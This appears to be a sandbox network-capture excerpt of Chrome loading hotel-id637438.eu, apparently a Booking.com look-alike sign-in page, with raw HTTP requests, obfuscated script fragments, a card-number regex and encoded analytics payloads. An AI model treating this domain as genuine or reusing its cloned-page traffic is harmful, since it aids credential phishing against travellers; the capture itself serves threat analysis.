2024-07-08 22:43:36 UTC	16384	IN	Data Raw: 3d 53 75 26 26 28 61 5b 63 28 22 4e 47 42 62 64 77 5a 4a 65 77 22 29 5d 3d 6f 29 2c 6a 6f 28 63 28 22 4e 47 42 62 64 67 78 50 64 67 22 29 2c 61 29 2c 70 68 3d 72 7d 66 75 6e 63 74 69 6f 6e 20 4f 64 28 74 2c 65 29 7b 74 26 26 28 76 6f 69 64 20 30 3d 3d 3d 74 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 48 6d 28 74 29 29 3d 3d 3d 54 75 26 26 65 26 26 28 76 6f 69 64 20 30 3d 3d 3d 65 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 48 6d 28 65 29 29 3d 3d 3d 52 75 26 26 6a 6f 28 74 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 56 64 28 29 7b 76 61 72 20 74 3d 6e 3b 75 68 3d 4d 74 28 29 2c 5a 64 28 74 28 22 4e 47 42 62 64 67 4e 4f 63 41 22 29 2c 75 68 29 2c 61 65 28 74 28 22 4e 47 42 62 64 67 46 49 63 41 22 29 29 3b 74 72 79 7b 4e 75 5b 65 68 5d 3d 21 30 2c 2f 2a 2a 20 40 6c 69 63 Data Ascii: =Su&&(a[c("NGBbdwZJew")]=o),jo(c("NGBbdgxPdg"),a),ph=r}function Od(t,e){t&&(void 0===t?"undefined":Hm(t))===Tu&&e&&(void 0===e?"undefined":Hm(e))===Ru&&jo(t,e)}function Vd(){var t=n;uh=Mt(),Zd(t("NGBbdgNOcA"),uh),ae(t("NGBbdgFIcA"));try{Nu[eh]=!0,/** @lic
2024-07-08 22:43:36 UTC	16384	IN	Data Raw: 5b 30 2d 39 5d 7b 33 7d 29 3f 7c 28 3f 3a 35 5b 31 2d 35 5d 5b 30 2d 39 5d 7b 32 7d 7c 32 32 32 5b 31 2d 39 5d 7c 32 32 5b 33 2d 39 5d 5b 30 2d 39 5d 7c 32 5b 33 2d 36 5d 5b 30 2d 39 5d 7b 32 7d 7c 32 37 5b 30 31 5d 5b 30 2d 39 5d 7c 32 37 32 30 29 5b 30 2d 39 5d 7b 31 32 7d 7c 33 5b 34 37 5d 5b 30 2d 39 5d 7b 31 33 7d 7c 33 28 3f 3a 30 5b 30 2d 35 5d 7c 5b 36 38 5d 5b 30 2d 39 5d 29 5b 30 2d 39 5d 7b 31 31 7d 7c 36 28 3f 3a 30 31 31 7c 35 5b 30 2d 39 5d 7b 32 7d 29 5b 30 2d 39 5d 7b 31 32 7d 7c 28 3f 3a 32 31 33 31 7c 31 38 30 30 7c 33 35 5c 64 7b 33 7d 29 5c 64 7b 31 31 7d 29 24 2f 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 6e 29 7b 76 61 72 20 74 3d 7b 4c 3a 21 31 7d 3b 72 65 74 75 72 6e 20 6e 2e 6c 65 6e 67 74 68 3c 3d 34 32 26 26 28 6e 3d 6e 2e 72 65 70 Data Ascii: [0-9]{3})?\|(?:5[1-5][0-9]{2}\|222[1-9]\|22[3-9][0-9]\|2[3-6][0-9]{2}\|27[01][0-9]\|2720)[0-9]{12}\|3[47][0-9]{13}\|3(?:0[0-5]\|[68][0-9])[0-9]{11}\|6(?:011\|5[0-9]{2})[0-9]{12}\|(?:2131\|1800\|35\d{3})\d{11})$/;function gt(n){var t={L:!1};return n.length<=42&&(n=n.rep
2024-07-08 22:43:36 UTC	15123	IN	Data Raw: 76 71 32 6d 76 49 53 68 75 37 79 74 70 71 32 36 22 29 29 2c 61 3d 6e 65 77 20 4c 66 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 71 66 2e 63 61 6c 6c 28 61 2c 22 50 4f 53 54 22 2c 74 2e 6c 2c 21 30 29 2c 61 5b 66 28 22 68 66 4c 73 38 65 33 47 39 2b 44 68 34 4f 76 78 37 4f 54 70 39 67 22 29 5d 3d 21 30 2c 61 5b 66 28 22 47 32 39 79 64 6e 35 30 62 6d 38 22 29 5d 3d 31 35 65 33 2c 6f 2e 63 61 6c 6c 28 61 2c 22 6c 6f 61 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3b 32 30 30 21 3d 3d 61 2e 73 74 61 74 75 73 26 26 28 6e 3d 6e 65 77 20 45 72 72 6f 72 29 3b 76 61 72 20 74 3d 7b 77 6e 3a 61 2e 73 74 61 74 75 73 2c 79 6e 3a 7b 7d 2c 75 6e 3a 61 2e 72 65 73 70 6f 6e 73 65 54 65 78 74 7d 3b 72 28 6e 2c 74 29 7d 29 29 2c 6f 2e 63 61 6c 6c Data Ascii: vq2mvIShu7ytpq26")),a=new Lf;for(var e in qf.call(a,"POST",t.l,!0),a[f("hfLs8e3G9+Dh4Ovx7OTp9g")]=!0,a[f("G29ydn50bm8")]=15e3,o.call(a,"load",(function(){var n=null;200!==a.status&&(n=new Error);var t={wn:a.status,yn:{},un:a.responseText};r(n,t)})),o.call
2024-07-08 22:43:36 UTC	16384	IN	Data Raw: 7b 63 61 3d 21 30 2c 75 61 3d 6e 7d 2c 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 6e 2c 66 3d 7b 74 6e 3a 7b 4a 3a 74 2c 50 3a 21 30 2c 54 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 63 61 29 7b 4a 28 22 66 30 78 37 32 62 62 31 63 61 36 22 29 3b 76 61 72 20 72 3d 7b 69 6e 3a 76 74 28 74 29 2c 56 3a 6e 2e 56 7d 2c 66 3d 46 6f 28 22 66 30 78 35 34 37 61 31 62 33 34 22 2c 22 66 30 78 37 35 31 66 34 35 39 61 22 2c 72 2c 45 6e 29 3b 66 26 26 66 28 76 61 2e 62 69 6e 64 28 6e 2e 59 2c 6e 2e 5a 2c 72 29 29 2c 42 28 22 66 30 78 37 32 62 62 31 63 61 36 22 29 7d 7d 7d 7d 3b 4f 74 28 74 5b 72 28 22 4c 57 6c 43 54 6c 68 41 53 45 4e 5a 22 29 5d 2c 72 28 22 75 4e 76 58 31 39 50 52 33 51 22 29 2c 66 29 7d 2c 63 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: {ca=!0,ua=n},en:function(t){var r=n,f={tn:{J:t,P:!0,T:function(n){if(ca){J("f0x72bb1ca6");var r={in:vt(t),V:n.V},f=Fo("f0x547a1b34","f0x751f459a",r,En);f&&f(va.bind(n.Y,n.Z,r)),B("f0x72bb1ca6")}}}};Ot(t[r("LWlCTlhASENZ")],r("uNvX19PR3Q"),f)},cn:function()
2024-07-08 22:43:36 UTC	16384	IN	Data Raw: 2c 6f 65 3d 6e 65 77 20 24 61 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6a 6f 28 6e 29 7d 29 29 2c 5a 6e 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 42 6e 3d 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 6e 3b 53 74 3d 41 6e 28 74 28 22 44 55 4a 76 5a 32 68 75 65 53 4e 71 61 48 6c 43 65 6d 4e 64 66 32 4a 39 61 48 39 35 64 45 6c 6f 66 6d 35 2f 5a 48 31 35 59 6e 38 22 29 29 2c 6a 74 3d 41 6e 28 74 28 22 68 63 72 6e 37 2b 44 6d 38 61 76 68 34 4f 50 73 36 2b 44 56 39 2b 72 31 34 50 66 78 2f 41 22 29 29 2c 45 74 28 46 75 6e 63 74 69 6f 6e 2c 74 28 22 6c 2b 50 34 78 4f 50 6c 2f 76 6e 77 22 29 2c 7b 54 3a 51 74 7d 29 7d 28 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 66 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 72 79 7b Data Ascii: ,oe=new $a((function(n){jo(n)})),Zn=new WeakMap,Bn=0,function(){var t=n;St=An(t("DUJvZ2hueSNqaHlCemNdf2J9aH95dElofm5/ZH15Yn8")),jt=An(t("hcrn7+Dm8avh4OPs6+DV9+r14Pfx/A")),Et(Function,t("l+P4xOPl/vnw"),{T:Qt})}(),function(){for(var n=0;n<fe.length;n++)try{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49827	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:35 UTC	811	OUT	GET /ZqQsZHm25EHoHEB-?152e9d39bcab1cb5=zgTnMTUnNK1RObyF3_y9F3vx1ULCj9qMUrh4LwCH4DXyp97H4kXRMhXMKpVIiW1TGdcoc4ozWOo7IcLMroo7zmuXFNAjCzfV7Z2K9WrPAUIUSzFGDjlgifztwQ-FjASl5z0fay-q2sDW6movPwebBwiJ7bY&jac=1&je=3c3126267565693d302e34342c3932312e313b2677616d35756762707c615d6b6e74677a66616c5f6f646e73 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:36 UTC	362	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:35 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 0 Content-Type: text/javascript

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49829	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:35 UTC	941	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&je=303126266861633d3926626a716b653f25354a25323a707c7b7265712d3030273341273f4a2532326f6f75736d253230273b413338273f44253a432d30307076717267273232273b49253232726325323a253746 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:36 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:35 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49832	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:35 UTC	2487	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&je=30353326246a6163353126606a7b633f25374a25354a253a307625303a2730412532304e47524d25303325323b444954273a332732302d32433d333c332735462d3041273542273a3a7625323025324339323631273a433b30352d32433d333c332735462d3041273542273a3a6d6d25303225324b363536273a4336343b2d32433d333c332735462d3041273542273a3a6d6d25303225324b363531273a4336343a2d32433d333c362735462d3041273542273a3a6d6d25303225324b363530273a433634352d32433d333d302735462d3041273542273a3a6d6d25303225324b363533273a433634342d32433d333e372735462d3041273542273a3a6d6d25303225324b363532273a433634372d32433d3330332735462d3041273542273a3a742532302532432d3232464b5e253033273a334441562d303125303a27304135333a3e2d354425304325354a2532306f65253032273a43363c392d304134363c27304135333a3e2d354425304325354a2532306f65253032273a43363c382d30 [TRUNCATED] Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:36 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:36 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49833	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:36 UTC	1038	OUT	POST /navigation_times?sid=&pid=28ea4cdcd4210051&nts=0,0,1720478603283,0,0,0,0,1720478603286,1720478603530,1720478603530,1720478603530,1720478603993,1720478603530,1720478603993,1720478604302,1720478604663,1720478604307,1720478608088,1720478611018,1720478611019,1720478613001,1720478613001,1720478613003,0&first=&cdn=cf&dc=4&bo=3&lang=en-us&ref_action=Signin_Index&aid=304142&stype=&route=&ua=&ch=&lt= HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive Content-Length: 8 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/x-www-form-urlencoded X-Booking-CSRF: sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://hotel-id637438.eu Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:36 UTC	8	OUT	Data Raw: 75 74 69 6d 69 6e 67 3d Data Ascii: utiming=
2024-07-08 22:43:36 UTC	569	IN	HTTP/1.1 404 Not Found Date: Mon, 08 Jul 2024 22:43:36 GMT Content-Type: application/json Content-Length: 22 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B9kn4kOKWNzieD6JUKAOe446zfkAoIMs2NrRvLSP7jj2BG21W5jpVubEt23tmUNopnsu0TEGQpZrUaI7XZjzEloSj6qi82jgY1EJJ97yCgMjsYYR5CxCipz1YuqkubiPC%2F0FGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a039818b9e1729b-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:36 UTC	22	IN	Data Raw: 7b 22 64 65 74 61 69 6c 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"detail":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49834	18.66.196.21	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:36 UTC	597	OUT	GET /static/img/favicon.ico HTTP/1.1 Host: xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:37 UTC	772	IN	HTTP/1.1 200 OK Content-Type: image/x-icon Content-Length: 610 Connection: close Server: nginx Date: Wed, 19 Jun 2024 09:48:26 GMT Last-Modified: Tue, 21 Mar 2023 13:15:51 GMT Expires: Fri, 19 Jul 2024 09:48:26 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * ETag: "6419ae07-262" X-Cache: Hit from cloudfront Via: 1.1 377f66adf3e979e5eae2bf83298bbabe.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: lPl1KEVNz8OvCmRv4umInoKVQuKUYVOtQP_G1zzMjcIdEKWVD52cFA== Age: 1688110
2024-07-08 22:43:37 UTC	610	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 29 49 44 41 54 58 85 d5 97 3f 4c 1a 61 18 c6 7f 77 31 b0 1c 82 c9 0d 12 13 4b 53 89 9d 5a 18 ba 68 4d 8c 5d a4 8b ba d0 c1 10 b1 63 5d ba 52 17 16 db b9 31 76 a3 68 4c 17 bb c0 74 53 5b 5b aa 8b 83 d0 cd 48 83 31 69 5d 18 6c 64 b1 21 b1 03 70 70 78 fc b9 e3 e0 d2 67 e3 7b 73 f7 fc ee 7d bf ef 21 9f 40 4d d3 5b e3 c0 2e 30 05 0c d1 1f 95 81 43 20 c2 c1 da 39 80 50 35 0f 03 1f fa 68 ac 07 b2 cc c1 da 9e 50 fd f2 9f 03 34 6f 84 b8 27 52 69 fb a0 cd a9 7a ee 8a 54 66 6e 97 a6 44 ec f9 fa 9a 86 ba 32 f7 79 5d f8 46 87 35 6b fb c7 bf ac 21 e8 c6 3c 9b 7c 86 5b 72 e8 d6 d3 99 02 f1 f7 47 64 4f 8b a6 00 c4 76 45 8f e4 24 f5 26 d4 d2 1c 60 61 e6 2e fb 9b 8b Data Ascii: PNGIHDR szz)IDATX?Law1KSZhM]c]R1vhLtS[[H1i]ld!ppxg{s}!@M[.0C 9P5hP4o'RizTfnD2y]F5k!<\|[rGdOvE$&`a.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49835	18.245.31.129	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:36 UTC	360	OUT	GET /static/img/favicon.svg HTTP/1.1 Host: xx.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:37 UTC	797	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-Length: 1197 Connection: close Server: nginx Date: Sun, 16 Jun 2024 18:59:55 GMT Last-Modified: Tue, 21 Mar 2023 13:15:52 GMT Expires: Tue, 16 Jul 2024 18:59:55 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * ETag: "6419ae08-4ad" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 f99e0a5708c6297d4aa91b3e4794707e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: wDqVOYv3Q8rz2g2Q3uZlh9aqi82K--1dmX6yrKYxZhtq1gn7tqUCkg== Age: 1914221
2024-07-08 22:43:37 UTC	1197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 4c 6f 76 69 6e 67 6c 79 20 65 78 70 6f 72 74 65 64 20 62 79 20 4a 65 73 73 20 53 74 75 62 65 6e 62 6f 72 64 20 66 6f 72 20 42 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 69 6e 20 41 6d 73 74 65 72 64 61 6d 20 31 36 2d 30 33 2d 32 30 32 33 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 62 64 6f 74 2d 66 61 76 69 63 6f 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Lovingly exported by Jess Stubenbord for Booking.com in Amsterdam 16-03-2023 --><svg version="1.1" id="bdot-favicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49836	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:36 UTC	1055	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&je=39333726246a6163353126606a7b63673d273f42253a3278767b70677b2730302533432d3f422532306d6f757b652530302d3343313b2d37442d324b273032727c7b72672532302d3b412532307063253a322535462e626a7360633d253d422d374025303a7027303225304b3d373234273243253a322530302d354625374c266260736a695d696c6c677a3f32 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:37 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:37 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49837	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:37 UTC	1055	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&je=39333726246a6163353126606a7b63673d273f42253a3278767b70677b2730302533432d3f422532306d6f757b652530302d3343313b2d37442d324b273032727c7b72672532302d3b412532307063253a322535462e626a7360633d253d422d374025303a7427303225304b3e343436273243253a322530302d354625374c266260736a695d696c6c677a3f33 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:37 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:37 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49838	35.190.10.96	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:37 UTC	652	OUT	POST /api/v2/collector HTTP/1.1 Host: collector-pxikkul2rm.px-cloud.net Connection: keep-alive Content-Length: 495 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: application/x-www-form-urlencoded Accept: / Origin: https://hotel-id637438.eu Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:37 UTC	495	OUT	Data Raw: 70 61 79 6c 6f 61 64 3d 61 55 6b 51 52 68 41 49 45 47 4a 71 41 77 49 4b 41 77 51 51 48 68 42 57 45 41 68 4a 45 47 4a 71 41 77 49 42 42 41 49 51 43 42 42 61 52 6b 5a 43 51 51 67 64 48 56 70 64 52 6c 64 65 48 31 74 57 42 41 45 46 42 67 45 4b 48 46 64 48 48 55 46 62 56 56 77 66 57 31 77 51 48 68 42 69 61 67 4d 43 43 77 41 4c 45 41 67 43 48 68 42 69 61 67 4d 44 41 77 6f 45 45 41 67 51 5a 56 74 63 41 51 41 51 48 68 42 69 61 67 4d 43 42 41 41 41 45 41 67 43 48 68 42 69 61 47 67 4d 5e 43 41 53 41 55 41 45 41 67 44 41 77 7d 73 46 44 41 42 34 51 59 6d 6f 44 41 67 4e 73 46 41 68 4b 41 49 41 51 51 38 44 4e 43 41 68 34 51 59 6d 61 6f 44 41 67 49 4c 42 3e 68 41 49 41 77 55 41 41 67 59 46 43 67 44 60 51 44 42 77 41 47 42 42 34 51 59 6d 6f 44 41 77 49 43 42 4b 68 41 49 Data Ascii: payload=aUkQRhAIEGJqAwIKAwQQHhBWEAhJEGJqAwIBBAIQCBBaRkZCQQgdHVpdRldeH1tWBAEFBgEKHFdHHUFbVVwfW1wQHhBiagMCCwALEAgCHhBiagMDAwoEEAgQZVtcAQAQHhBiagMCBAAAEAgCHhBiaGgM^CASAUAEAgDAw}sFDAB4QYmoDAgNsFAhKAIAQQ8DNCAh4QYmaoDAgILB>hAIAwUAAgYFCgD`QDBwAGBB4QYmoDAwICBKhAI
2024-07-08 22:43:37 UTC	399	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:37 GMT Content-Type: application/json; charset=utf-8 Content-Length: 553 Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Access-Control-Allow-Origin: https://hotel-id637438.eu Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
